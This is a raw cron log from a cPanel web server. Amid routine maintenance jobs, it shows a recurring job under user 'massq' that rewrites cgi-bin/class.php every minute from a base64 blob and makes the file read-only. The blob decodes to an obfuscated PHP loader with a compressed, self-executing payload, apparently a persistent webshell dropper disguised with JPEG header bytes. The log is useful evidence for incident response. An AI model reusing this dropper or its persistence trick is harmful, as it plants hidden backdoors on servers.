Sep 10 23:45:01 server CROND[21833]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 23:46:01 server CROND[22667]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:46:01 server CROND[22668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:46:01 server CROND[22669]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:47:01 server CROND[23315]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:47:01 server CROND[23317]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:47:01 server CROND[23316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:48:01 server CROND[23695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:48:01 server CROND[23696]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:48:01 server CROND[23697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:49:01 server CROND[24092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:49:01 server CROND[24093]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:49:01 server CROND[24094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:50:01 server CROND[24497]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 23:50:01 server CROND[24498]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 23:50:01 server CROND[24514]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 23:50:01 server CROND[24513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:50:01 server CROND[24516]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 23:50:01 server CROND[24518]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 23:50:01 server CROND[24515]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 23:50:01 server CROND[24520]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:50:01 server CROND[24517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:51:01 server CROND[25336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:51:01 server CROND[25337]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:51:01 server CROND[25338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:52:01 server CROND[25718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:52:01 server CROND[25719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:52:01 server CROND[25720]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:53:01 server CROND[26213]: (root) CMD (/usr/lib64/sa/sa2 -A)
Sep 10 23:53:01 server CROND[26212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:53:01 server CROND[26214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:53:01 server CROND[26211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:54:01 server CROND[26615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:54:01 server CROND[26616]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:54:01 server CROND[26617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:55:01 server CROND[27012]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 23:55:01 server CROND[27020]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:55:01 server CROND[27024]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 23:55:01 server CROND[27027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:55:01 server CROND[27025]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 23:55:01 server CROND[27030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:55:01 server CROND[27026]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 23:56:01 server CROND[28013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:56:01 server CROND[28015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:56:01 server CROND[28014]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:57:01 server CROND[28395]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:57:01 server CROND[28396]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 23:57:01 server CROND[28398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:57:01 server CROND[28397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:58:01 server CROND[28923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:58:01 server CROND[28924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
